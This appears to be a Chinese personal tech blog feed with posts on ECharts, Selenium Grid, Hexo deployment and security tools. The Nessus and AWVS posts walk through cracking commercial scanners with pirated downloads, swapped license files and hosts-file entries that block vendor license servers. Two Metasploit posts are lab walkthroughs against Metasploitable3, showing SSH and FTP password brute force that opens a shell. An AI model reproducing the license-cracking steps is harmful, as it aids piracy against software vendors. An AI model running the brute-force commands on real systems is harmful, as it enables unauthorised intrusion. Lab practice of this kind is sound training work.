0%

说明

  • 最近再做接口测试平台的报表功能,直接再网上搜下简单的demo,居然没有找到合适的,最后自己写了个简单的入门demo

环境搭建

  • vue环境自行搭建
  • 安装echarts
1
npm install echarts --save
  • 安装axios
1
npm install axios
  • main.js设置下
1
2
3
4
5
6
7
import Vue from "vue"
import axios from 'axios'

// 设置接口访问的根目录
axios.defaults.baseURL = "http://127.0.0.1:8100/myapi/"
// 设置原型属性后,其他地方如果要调用,只要用this.$http.get就可以了
Vue.prototype.$http = axios
  • 完整vue代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<div id="echarts_box" style="width: 600px;height:400px;">

</div>
<script>
var echarts = require('echarts');

export default {
data() {
return {
}
},
mounted() {
this.drawLine();
},
created() {

},
methods: {
async drawLine() {
const {data:res} = await this.$http.get('reports')
if (res.code != 1){
return this.$message.erro("获取数据失败")
}
console.log(res)
// 初始化echarts实例
let myChart = echarts.init(document.getElementById('echarts_box'))
myChart.setOption({
title: {text: res.data.title.text},
tooltip: {},
xAxis: {data: res.data.xAxis.data},
yAxis: {},
series: [{name: res.data.series[0].name,type: res.data.series[0].type,
data: res.data.series[0].data}]
});
}
}
}
</script>
  • 后台接口返回的json数据
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"code": 1,
"msg": "获取成功",
"data": {
"title": {
"text": "简单饼状图"
},
"tooltip": {},
"xAxis": {
"data": ["衬衫", "羊毛衫", "雪纺衫", "裤子", "高跟鞋", "袜子"],
"name": "产品"
},
"yAxis": {},
"series": [{
"name": "销量",
"type": "bar",
"data": [5, 20, 36, 10, 10, 20],
}]
}
}
  • 效果图如下

image-20220308090809791

说明

  • 主要是针对Nessus进行实践,Nessus既可以扫描web,也可以直接扫主机

  • 本次安装环境为win10,nessus版本为8.13.1

安装

  • 本次安装教程主要来源于这里

  • 使用迅雷网盘下载:https://pan.xunlei.com/s/VMXAkJL4hXBl7V6G3rwLgl4EA1提取码: zxsk

  • 安装成功后,在浏览器(我这里谷歌打不开,换了其他浏览器)输入:https://localhost:8834/,选择managed

image-20220304100720318

  • 选择Tenable.sc

image-20220304100823162

  • 填写用户名和密码进行注册

image-20220304101009080

  • 等待安装成功后,自带进入到:https://localhost:8834/#/settings/about,默认是未激活,激活后页面回出现scan菜单

image-20220304101350406

激活

  • 管理员身份打开cmd输入如下命令{停止Tenable Nessus服务}
1
2
3
C:\WINDOWS\system32>net stop "Tenable Nessus"
Tenable Nessus 服务正在停止.
Tenable Nessus 服务已成功停止。
  • 输入以下两个命令(更改文件属性) ,要注意nessus的路径,替换为自己相应路径即可
1
2
3
4
5
attrib -s -r -h "E:\app\Tenable\Nessus\nessus\plugins\*.*" 


attrib -s -r -h "E:\app\Tenable\Nessus\nessus\plugin_feed_info.inc"

  • 如果没有 plugin_feed_info.inc 文件,自己新建一个 plugin_feed_info.inc 文件,内容如下:
1
2
3
PLUGIN_SET = "202201111911";
PLUGIN_FEED = "ProfessionalFeed (Direct)";
PLUGIN_FEED_TRANSPORT = "Tenable Network Security Lightning";
  • 然后把 plugin_feed_info.inc 复制到相应目录下再执行以上命令.

下载插件

原文中的插件无法激活,作者推荐了他的其他博文,我把下载地址拷贝了过来:

1
2
3
云中转网盘:
https://yzzpan.com/#sharefile=fCSsVfsp_26946
解压密码:www.ddosi.org

更新nessus插件

  • 输入下面的命令,更新插件。注意两个路径,一个是 nessus的安装路径,一个是插件位置的路径,
1
"E:\app\Tenable\Nessus\nessuscli.exe" update "e:\exe\all-2.0_202201111911.tar.gz"
  • 更新成功后出现如下提示
1
2
3
4
5
6
Fri Mar  4 10:42:22 2022][25076.1] Warning: Long rDNS lookup.  Took 2081ms for 169.254.105.105 to DESKTOP-8MTHS2J

[info] Copying templates version 202102012215 to E:\app\Tenable\Nessus\nessus\templates\tmp
[info] Finished copying templates.
[info] Moved new templates with version 202102012215 from plugins dir.
* Update successful. The changes will be automatically processed by Nessus
  • 复制配置文件到文件夹,执行copy
1
2
3
4
C:\WINDOWS\system32>copy "E:\app\Tenable\Nessus\nessus\plugins\plugin_feed_info.inc" "E:\app\Tenable\Nessus\nessus\"

覆盖 E:\app\Tenable\Nessus\nessus\plugin_feed_info.inc 吗? (Yes/No/All): all
已复制 1 个文件。
  • 启动下服务
1
2
3
4
C:\WINDOWS\system32>net start "Tenable Nessus"
Tenable Nessus 服务正在启动 .
Tenable Nessus 服务已经启动成功。

  • 打开https://localhost:8834/#/ 等待自动配置完成,如果打不开,多刷新几次

image-20220304112142500

  • 关闭服务
1
net stop "Tenable Nessus" 
  • 复制插件文件
1
copy "E:\app\Tenable\Nessus\nessus\plugins\plugin_feed_info.inc" "E:\app\Tenable\Nessus\nessus\"
  • 如果提示文件不存在,就手动新建E:\app\Tenable\Nessus\nessus\plugins\plugin_feed_info.inc内容如下
1
2
3
PLUGIN_SET = "202201111911";
PLUGIN_FEED = "ProfessionalFeed (Direct)";
PLUGIN_FEED_TRANSPORT = "Tenable Network Security Lightning";
  • 然后再次执行copy命令
1
copy "E:\app\Tenable\Nessus\nessus\plugins\plugin_feed_info.inc" "E:\app\Tenable\Nessus\nessus\"
  • 更改文件属性
1
2
3
4
attrib +s +r +h "E:\app\Tenable\Nessus\nessus\plugins\*.*" 
attrib +s +r +h "E:\app\Tenable\Nessus\nessus\plugin_feed_info.inc"
attrib -s -r -h "E:\app\Tenable\Nessus\nessus\plugins\plugin_feed_info.inc"

  • 启动服务后,打开 https://localhost:8834/#/ 后,有几秒钟初始化,然后自动进入到输入用户名和密码

image-20220304105937929

  • 出现如下界面,说明激活成功

image-20220304151256238

image-20220304160110351

实践

  • 如果我们要扫描的是一个网站,我们选择Web Application Tests

  • 如果是要扫描一个主机的话,我们选择Advanced Scan

  • 如果要对网络中的主机进行发现和扫描,我们选择Host Discovery

扫描网站

  • 本次依然是我的dvwa靶场为例子,为了模拟真实场景,把httpd的文档目录直接修改为dvwa下,这样直接访问ip:port就进入到靶场;端口也改回了80
1
2
3
4
5
vi /etc/httpd/conf/httpd.conf

DocumentRoot "/var/www/html/DVWA-2.0.1"

systemctl restart httpd
  • 新建一个扫描模板,选择Web Application Tests,settings下目标设置靶场的ip

image-20220304172013225

  • http登录的设置

image-20220307104711390

  • 默认的插件如下,应该是激活问题,插件并不是很多

image-20220307090238888

  • 点击保存后,再我的扫描列表,点击启动

image-20220307110902628

  • 等待测试结果,用了17分钟,17个漏洞,其中4个中等漏洞

image-20220307104853855

  • 发现大部分都是配置文件漏洞

image-20220307105345386

  • 查看下载日志,发现扫描的内容的确比较简单,没有对网站本身的链接进行扫描

  • 信息提示,也明确提示了插件需要更新的提示

image-20220307105553129

扫描主机

新建Advanced Scan,目标中输入主机ip

image-20220307105922363

  • 证书选项那里,分类里面我们选择host,ssh,填入ssh的用户名和rsa密钥

image-20220307110445759

  • 密钥文件(mykey)是服务器上生成的(请自行百度),生成后的文件内容参考如下:
1
2
3
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAw5RpKHoP/hDYpsiLFB7oEmYk22zR2PWeAqQq4GjQDTdJL7G8...
-----END RSA PRIVATE KEY-----
  • 查看插件

image-20220307110719036

  • 直接点击保存后,点击启动按钮

image-20220307110828628

  • 看了下扫描结果,没有发现中级以上漏洞

image-20220307112447415

  • 测试下扫描数据库看看,配置比较简单

image-20220307112743428

  • 启动测试,测试结果和web的扫描结果差不多,首先把所有端口扫描出来并针对各自端口进行简单扫描,然后就针对mysql的一些设置信息

image-20220307144631354

总结

本次实践个人猜测应该和激活的插件有关,针对web网站和主机进行扫描,主要是一些配置方面的问题,建议是:

  • 对主机配置扫描,采用Nessus
  • 针对web网站扫描,采用AWVS,可以参考AWVS实践

说明

  • AWVS是最强的扫描web漏洞之一了
  • 本次的版本为14.6
  • 安装环境:win10

安装

  • 安装主要是参考这里,不过我把一些关键步骤记录下

  • 下载AWVS的win安装包,解压密码为:www.ddosi.org

  • 下载激活工具,解压密码同上

  • 安装AWVS后,在浏览器登录后出现如下页面,表示未激活

image-20220302094957721

  • 把激活文件(license_info.json,wa_data.dat)复制并到AWVS安装目录(E:\app\Acunetix\data\shared\license)下替换

image-20220302101024287

  • 到如下目录对hosts文件进行修改

image-20220302101458504

  • 在hosts最后加上如下两行
1
2
127.0.0.1 updates.acunetix.com
127.0.0.1 erp.acunetix.com
  • 刷新页面后,成功激活

image-20220302102129057

使用

靶场testfire.net

填入目标网站,开始扫描,填入ibm提供的在线靶场:http://testfire.net/

image-20220302102720203

image-20220302104105251

点击扫描

image-20220302104204101

  • 扫描选项中,扫描时间默认为马上扫描

image-20220302104239644

  • 等待扫描中

image-20220302104516343

  • 扫描完成了,差不多用了25分钟扫描完毕,发现高危漏洞有7个

image-20220302111052346

  • 导出测试报告,比较清晰说明了攻击方式和结果,比如这个跨脚本攻击

image-20220302111833044

  • 经过手动验证发现,css漏洞,全部都是误报,其他的懒得验证了、

靶场dvwa

设置靶场

  • 这个是我之前搭建的dwva靶场,首先修改下配置

  • 修改apache的端口,默认端口已经被使用了

1
2
3
 vi /etc/httpd/conf/httpd.conf

Listen 8001
  • dwva把安全等级默认修改为low
1
2
3
4
/var/www/html/DVWA-2.0.1/config
[root@VM-24-13-centos config]# vi config.inc.php
$_DVWA[ 'default_security_level' ] = 'low';

  • 防火墙打开8001,腾讯云服务器的端口开放规则需要单独设置下
1
2
3
4
5
6
7
8
9
10
firewall-cmd --zone=public --add-port=8001/tcp --permane
[root@VM-24-13-centos config]# systemctl restart firewalld

# 重启httpd服务
[root@VM-24-13-centos config]# systemctl start httpd

# 查看端口已经启动
[root@VM-24-13-centos config]# firewall-cmd --list-ports
3306/tcp 8080/tcp 4444/tcp 7777/tcp 80/tcp 8081/tcp 8001/tcp

启动AWVS

  • AWVS新增目标,注意不填入login

image-20220302150203374

image-20220302150355672

image-20220302150502002

  • 点击下一步,右侧输入被排除的url,这些url都有一些敏感信息,需求提前屏蔽掉

image-20220302151311220

  • 具体排除的url如下
1
2
3
4
5
6
GET http://ip:8001/DVWA-2.0.1/login.php HTTP/1.1
GET http://ip.101:8001/DVWA-2.0.1/security.php HTTP/1.1
GET http://ip:8001/DVWA-2.0.1/phpinfo.php HTTP/1.1
GET http://ip:8001/DVWA-2.0.1/setup.php HTTP/1.1
GET http://ip:8001/DVWA-2.0.1/instructions.php HTTP/1.1

点击下一步,点击完成

image-20220302151827818

  • 点击扫描

image-20220302152233313

image-20220302152250630

  • 15分钟左右扫描完毕,高危漏洞有16个

image-20220302154037208

分析测试报告

生成下载测试报告后,手动验证下,扫描发现这个bak文件,的确全都是一些敏感信息

image-20220302154221690

  • 这个是跨站攻击,手动验证下发现这个也是误报的

image-20220302154532447

结论

  • AWVS操作简单,对各种web漏洞进行检测非常强大

  • 虽然有很多是误报的,不过误报总比漏报好

说明

本编主要演示Metasploit对ftp的攻击,必须提前搭建好Metasploit攻击机和Metasploitable3靶场,可以参考这篇如何搭建kailMetasploitable3靶场搭建

开始实践

  • 流程基本上和之前的ftp攻击差不多
  • 在攻击机上,扫描靶场的端口,发现了ssh服务的端口为22,版本为7.1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
nmap -sV 192.168.56.105                                                                                                                                                                                                     
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-27 22:33 EST
Nmap scan report for 192.168.56.105
Host is up (0.00034s latency).
Not shown: 981 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
22/tcp open ssh OpenSSH 7.1 (protocol 2.0)
80/tcp open http Microsoft IIS httpd 7.5
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3306/tcp open mysql MySQL 5.5.20-log

直接输入msfconsole 就进入到了metasploit 的控制台下

1
2
3
4
5
6
7
8
9
10
11
12
msfconsole


=[ metasploit v6.1.14-dev ]
+ -- --=[ 2180 exploits - 1155 auxiliary - 399 post ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
+ -- --=[ 9 evasion ]

Metasploit tip: Open an interactive Ruby terminal with
irb

msf6 >

版本扫描

  • 本次扫描只是这对服务器上的ssh使用版本进行扫描,看看是否可以展示一些有用信息

  • 输入search ssh_version

image-20220228155411962

  • 输入use auxiliary/scanner/ssh/ssh_version以及进行配置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(scanner/ssh/ssh_version) > show options

Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-
RPORT 22 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
TIMEOUT 30 yes Timeout for the SSH probe


msf6 auxiliary(scanner/ssh/ssh_version) > set rhosts 192.168.56.105
msf6 auxiliary(scanner/ssh/ssh_version) > run
[+] 192.168.56.105:22 - SSH server version: SSH-2.0-OpenSSH_7.1 ( service.version=7.1 service.vendor=OpenBSD service.family=OpenSSH service.product=OpenSSH service.cpe23=cpe:/a:openbsd:openssh:7.1 service.protocol=ssh fingerprint_db=ssh.banner )
[*] 192.168.56.105:22 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed


ssh 辅助模块

  • 输入search scanner/ssh找到辅助的漏洞模块,本次打算采用auxiliary/scanner/ssh/ssh_loginauxiliary/scanner/ssh/ssh_login_pubkey 进行实践

image-20220228151521631

auxiliary/scanner/ssh/ssh_login

核心还是使用了密码字典进行爆破,发现提示success,说明爆破成功,用户名和密码为:vagrant

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 使用辅助模块
msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.56.105
rhosts => 192.168.56.105
# 设置爆破字典
msf6 auxiliary(scanner/ssh/ssh_login) > set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
USERPASS_FILE => /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
# 设置线程数量
msf6 auxiliary(scanner/ssh/ssh_login) > set THREADS 14
THREADS => 14
# 开始运行
msf6 auxiliary(scanner/ssh/ssh_login) > run
[*] 192.168.56.105:22 - Starting bruteforce
[+] 192.168.56.105:22 - Success: 'vagrant:vagrant' 'Microsoft Windows Server 2008 R2 Standard 6.1.7601 Service Pack 1 Build 7601'
[*] Command shell session 1 opened (192.168.56.103:33151 -> 192.168.56.105:22 ) at 2022-02-28 03:22:48 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

我们得到了shell(就是管理员的用户名和密码),我们可以与我们入侵的机器创建会话。vagrant账号登录,但是发现无法session登录长时间卡死,没有反应,展示没有找到解决方案,待补充

1
2
3
4
5
6
7
8
9
# 输入sessions -i后,其实就发现了当前以及登录ssh服务的session
msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i

Id Name Type Information Connection
-- ---- ---- ----------- ----------
2 shell windows SSH vagrant:vagrant (192.168.56.105:22) 192.168.56.103:43991 -> 192.168.56.105:22 (192.168.56.105)

# 表示使用session列表中的id为2的数据,进行登录
msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i 2

auxiliary/scanner/ssh/ssh_login_pubkey

结论:测试失败,查看了官网的issue,以及关闭了同样问题,但我这边还是如此,我怀疑是因为靶场是win2008引起的,等把win系列靶场大概过一遍后,搭建个linux靶场试试

如何才能得到靶场上的ssh_pubkey?

  • 打开C:\Users\vagrant\.ssh\目录可以得到ssh的key

image-20220301094010774

  • 设置靶场的共享文件夹,把ssh文件复制出来

image-20220301100740502

image-20220301100806933

  • 把ssh是key文件拷贝到共享文件夹下面即可

image-20220301100848424

  • 把key的内容复制粘贴到kali中
1
2
3
┌──(kali㉿kali)-[/usr/local]
└─$ sudo vi ssh_key
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6NF8iallvQVp22WDkTkyrtvp9eWW6A8YVr+kz4TjGYe7gHzIw+niNltGEFHzD8+v1I2YJ6oXevct1YeS0o9HZyN1Q9qgCgzUFtdOKLv6IedplqoPkcmF0aYet2PkEDo3MlTBckFXPITAMzF8dJSIFo9D8HfdOV0IAdx4O7PtixWKn5y2hMNG0zQPyUecp4pzC6kivAIhyfHilFR61RGL+GPXQ2MWZWFYbAGjyiYJnAmCP3NOTd0jMZEnDkbUvxhMmBYSdETk1rRgm+R4LOzFUGaHqHDLKLX+FIPKcF96hrucXzcWyLbIbEgE98OHlnVYCzRdK8jlqm8tehUc9c9WhQ== vagrant insecure public key
  • 进入到msfconsole中,使用辅助模块,开始攻击
1
2
3
4
5
6
7
8
9
10
11
12
13
msf6 > use auxiliary/scanner/ssh/ssh_login_pubkey
msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > show options
...

msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > set key_path /usr/local/ssh_key
key_path => /usr/local/ssh_key

msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > set rhosts 192.168.56.105
rhosts => 192.168.56.105
msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > set username vagrant
username => vagrant

msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > run

补充知识:靶场中可以使用 C:\Program Files\OpenSSH\bin>ssh-keygen -t rsa 生成私钥(id_rsa)和公钥(id_rsa.pub)

说明

本次主要介绍本地搭建一套selenium grid的环境

环境准备

  • java安装,以及环境配置
  • python 3.4环境
  • selenium安装 pip install selenium
  • Chromedriver 要和本地的chrome浏览器匹配,点击下载
  • 下载selenium-server-standalone点击下载
  • 准备2台pc,如果是虚拟机,选择桥接,2台pc互相能ping通,本次测试为本机

开始部署

  • 启动hub
1
java -jar selenium-server-standalone-v3.0.1.jar -role hub -port 4455

image-20220325184855366

  • 启动node
1
2
3
java -jar selenium-server-standalone-v3.0.1.jar -role node -port 5555 -hub http://192.168.0.102:4444/grid/registe

java -jar selenium-server-standalone-v3.0.1.jar -role node -port 6666 -hub http://192.168.0.102:4444/grid/registe

image-20220325184910875

  • 其他node启动方式
1
2
java -Dwebdriver.ie.driver=D:\IEDriverServer.exe -jar selenium-server-standalone-2.37.0.jar -role node -hub [http://127.0.0.1:4444/grid/register](http://127.0.0.1:4444/grid/register) -maxSession 20 -browser "browserName=internet explorer,version=9,platform=WINDOWS,maxInstances=20" -port 5555

node是只运行IE,并且并发数是20,最多有20个IE浏览器在运行

查看grid信息

浏览器打开:http://hub_ip:4444/grid/console 可以查看hub信息,和已经连上的node信息
image-20220325184938186

运行

  • 封装的unittest, BaseRunner .py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import unittest
from selenium import webdriver
import os

PATH = lambda p: os.path.abspath(
os.path.join(os.path.dirname(__file__), p)
)


def get_driver(device):
chromedriver = PATH("../exe/chromedriver.exe")
os.environ["webdriver.chrome.driver"] = chromedriver
chrome_capabilities = {
"browserName": "chrome", # 浏览器名称
"version": "", # 操作系统版本
"platform": "ANY", # 平台,这里可以是windows、linux、andriod等等
"javascriptEnabled": True, # 是否启用js
"webdriver.chrome.driver": chromedriver
}
driver = webdriver.Remote(command_executor=device, desired_capabilities=chrome_capabilities)
driver.maximize_window() # 将浏览器最大化
driver.get("https://www.baidu.com/")
return driver


class ParametrizedTestCase(unittest.TestCase):
def __init__(self, methodName='runTest', param=None):
super(ParametrizedTestCase, self).__init__(methodName)
global devicess
devicess = param
@classmethod
def setUpClass(cls):
pass
cls.driver = get_driver(devicess)
# cls.logTest = myLog().getLog("chrome") # 每个设备实例化一个日志记录器

def setUp(self):
pass

@classmethod
def tearDownClass(cls):
cls.driver.close()
cls.driver.quit()
pass

def tearDown(self):
pass

@staticmethod
def parametrize(testcase_klass, param=None):
testloader = unittest.TestLoader()
testnames = testloader.getTestCaseNames(testcase_klass)
suite = unittest.TestSuite()
for name in testnames:
suite.addTest(testcase_klass(name, param=param))
return suite
  • 编写测试用例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Base.BaseRunner import ParametrizedTestCase
import os
import time

PATH = lambda p: os.path.abspath(
os.path.join(os.path.dirname(__file__), p)
)

class HomeTest(ParametrizedTestCase):
def testSearch(self):
time.sleep(1)
self.driver.find_element_by_id("kw").send_keys("selenium")
time.sleep(2)
self.driver.find_element_by_id("su").click()
time.sleep(2)

@classmethod
def setUpClass(cls):
super(HomeTest, cls).setUpClass()

@classmethod
def tearDownClass(cls):
super(HomeTest, cls).tearDownClass()
  • 运行
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    import unittest
    from multiprocessing.pool import Pool
    from Base.BaseRunner import ParametrizedTestCase
    from TestCase import HomeTest


    def runner_pool():
    devices_Pool = ['http://192.168.0.102:5555/wd/hub', 'http://192.168.0.102:6666/wd/hub']
    pool = Pool(len(devices_Pool))
    pool.map(run, devices_Pool)
    pool.close()
    pool.join()

    def run(device):
    suite = unittest.TestSuite()
    suite.addTest(ParametrizedTestCase.parametrize(HomeTest.HomeTest, param=device))
    unittest.TextTestRunner(verbosity=2).run(suite)


    if __name__ == '__main__':
    runner_pool()


    image-20220325185045483

其他

说明

  • 之前博客在gitee pages写,最近老是抽风说我的内容出现违规文字,然后又不提示具体哪些内容违规,因此迁移到腾讯云上
  • 需要提前准备:腾讯云主机和已经备案的域名
  • 核心流程其实就算本地写博客内容,最终把source目录下面的静态内容推送到远程服务器上(腾讯云,gitee page)

腾讯云配置

安装git

  • 安装依赖库
1
yum install curl-devel expat-devel gettext-devel openssl-devel zlib-devel 
  • 安装编译工具
1
yum install gcc perl-ExtUtils-MakeMaker package
  • 选择一个目录来存放下载下来的 git 安装包。这里选择了/usr/local/src 目录
1
cd /usr/local/src
  • 到官网找一个新版稳定的源码包下载到 /usr/local/src 文件夹里
1
[root@VM-24-13-centos src]# wget --no-check-certificate  https://www.kernel.org/pub/software/scm/git/git-2.16.2.tar.gz
  • 解压编译git
1
2
3
tar -zvxf git-2.16.2.tar.gz
cd git-2.16.2
make all prefix=/usr/local/git
  • 安装 git 到 /usr/local/git 目录下
1
make install prefix=/usr/local/git
  • 配置git环境变量
1
2
3
4
echo 'export PATH=$PATH:/usr/local/git/bin' >> /etc/bashrc
source /etc/bashrc
[root@VM-24-13-centos git-2.16.2]# git --version
git version 1.8.3.1
  • 创建 git 仓库,用于存放博客网站资源,在 home/git 的目录下,创建一个名为hexoBlog的裸仓库(bare repo)。
1
2
3
mkdir /home/git/
chown -R $USER:$USER /home/git/
chmod -R 755 /home/git/
  • 然后,执行如下命令
1
2
3
4
cd /home/git/
[root@VM-24-13-centos git]# git init --bare hexoBlog.git
Initialized empty Git repository in /home/git/hexoBlog.git/

  • 创建一个新的 git 钩子,用于自动部署,在 /home/git/hexoBlog.git 下,有一个自动生成的 hooks 文件夹。我们需要在里边新建一个新的钩子文件 post-receive
1
vi /home/git/hexoBlog.git/hooks/post-receive
  • 在该文件中添加两行代码(将下边的代码粘贴进去),指定 Git 的工作树(源代码)和 Git 目录(配置文件等)
1
2
#!/bin/bash
git --work-tree=/home/hexoBlog --git-dir=/home/git/hexoBlog.git checkout -f
  • 修改文件权限,使得其可执行
1
chmod +x /home/git/hexoBlog.git/hooks/post-receive
  • 到这里,我们的 git 仓库算是完全搭建好了。下面进行 Nginx 的配置。

nginx

  • 安装nginx
1
yum install -y nginx
  • 启动发现报错了
1
systemctl start nginx
  • 查看下撒情况
1
2
systemctl status nginx.service
Feb 25 09:20:06 VM-24-13-centos systemd[1]: Failed to start The nginx HTTP and reverse proxy server.
  • 我之前转过httpd服务,默认用的也是80端口,把httpd服务停掉即可
1
2
3
4
[root@VM-24-13-centos git]# systemctl stop httpd
[root@VM-24-13-centos git]# systemctl start nginx
[root@VM-24-13-centos git]#

  • 测试nginx,wget http://127.0.0.1
1
2
3
4
5
6
root@VM-24-13-centos git]# wget http://127.0.0.1
--2022-02-25 09:24:52-- http://127.0.0.1/
Connecting to 127.0.0.1:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4833 (4.7K) [text/html]
Saving to: ‘index.html’
  • 配置 Nginx 托管文件目录,创建 /home/hexoBlog目录,用于 Nginx 托管
1
2
3
mkdir /home/hexoBlog/
chown -R $USER:$USER /home/hexoBlog/
chmod -R 755 /home/hexoBlog/
  • 查看 Nginx 的默认配置的安装位置
1
2
3
4
root@VM-24-13-centos git]# nginx -t
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful

  • 修改Nginx的默认配置,其中 cd 后边就是刚才查到的安装位置
1
vi /etc/nginx/nginx.conf

将其中的 root 值改为 /home/hexoBlog (刚才创建的托管仓库目录)。将 server_name 值改成你的域名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
user root; #我这里改为了root


server {
listen 80 default_server;
listen [::]:80 default_server;
root /home/hexoBlog; #需要修改

server_name www.shikun.work; #需要修改

# Load configuration files for the default server block.
include /etc/nginx/default.d/*.conf;
location / {
}
error_page 404 /404.html;
location = /40x.html {
}
  • 重启nginx服务
1
systemctl restart nginx

至此,服务器端配置就结束了。接下来,就剩下本地 hexo 的配置更改了。

修改hexo配置

  • 打开你本地的 hexo 博客所在文件,打开站点配置文件(不是主题配置文件),做以下修改。
1
2
3
4
deploy:
type: git
repo: root@ip:/home/git/hexoBlog
branch: master
  • 打开hexo根目录执行,输入密码即可提交到云服务器
1
hexo cl && hexo g && hexo d

image-20220225102722571

说明

本编主要演示Metasploit对ftp的攻击,必须提前搭建好Metasploit攻击机和Metasploitable3靶场,可以参考这篇如何搭建kailMetasploitable3靶场搭建

开始实践

  • 在攻击机上,扫描靶场的端口,发现了ftp服务的端口为21
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
nmap -sV 192.168.56.102

Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-23 21:42 EST
Nmap scan report for 192.168.56.102
Host is up (0.00033s latency).
Not shown: 981 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
22/tcp open ssh OpenSSH 7.1 (protocol 2.0)
80/tcp open http Microsoft IIS httpd 7.5
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3306/tcp open mysql MySQL 5.5.20-log
3389/tcp open ssl/ms-wbt-server?
4848/tcp open ssl/http Oracle Glassfish Application Server
7676/tcp open java-message-service Java Message Service 301
8080/tcp open http Sun GlassFish Open Source Edition 4.0
8181/tcp open ssl/intermapper?
8383/tcp open http Apache httpd
9200/tcp open wap-wsp?
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49176/tcp open java-rmi Java RMI

直接输入msfconsole 就进入到了metasploit 的控制台下

1
2
3
4
5
6
7
8
9
10
11
12
13
msfconsole


=[ metasploit v6.1.14-dev ]
+ -- --=[ 2180 exploits - 1155 auxiliary - 399 post ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
+ -- --=[ 9 evasion ]

Metasploit tip: Open an interactive Ruby terminal with
irb

msf6 >

  • 输入search scanner/ftp找到辅助的扫描工具

image-20220224165241342

  • 下面使用三个漏洞模块(anonymous、ftp_login、ftp_version)测试,也是网上教程最多的笔记

auxiliary/scanner/ftp/anonymous

测试结论

不支持匿名登录

开始演练

  • 输入use auxiliary/scanner/ftp/anonymous ,表示使用这个匿名登录漏洞模块
1
msf6 > use auxiliary/scanner/ftp/anonymous
  • 设置rhosts
1
msf6 > set RHOSTS 192.168.56.102
  • 输入run,就是运行漏洞模块,看看是否成功,测试结果是匿名登录失败
1
2
3
4
5
sf6 auxiliary(scanner/ftp/anonymous) > run

[*] 192.168.56.102:21 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

  • 也可以直接输入expolit -i 运行漏洞模块
1
2
3
4
5
6
msf6 auxiliary(scanner/ftp/anonymous) > exploit -i

[*] 192.168.56.102:21 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ftp/anonymous) >

  • 网上找了个成功的图片

image-20220224170452788

总结

  • 如果想匿名登录,可以直接到靶机中的iis中设置ftp支持匿名登录
  • 匿名登录后,有些文件只是只读,有些重要文件还是可能泄露一些重要信息

auxiliary/scanner/ftp/ftp_login

测试结论

登录成功,核心文件还是密码字典

开始演练

  • 输入use auxiliary/scanner/ftp/ftp_login,表示使用这个漏洞模块
1
2
3
msf6 > use auxiliary/scanner/ftp/ftp_login
msf6 auxiliary(scanner/ftp/ftp_login) >

  • 输入show options,展示当前ftp_login扫描工具的选项
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
msf6 auxiliary(scanner/ftp/ftp_login) > show options

Module options (auxiliary/scanner/ftp/ftp_login):

Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
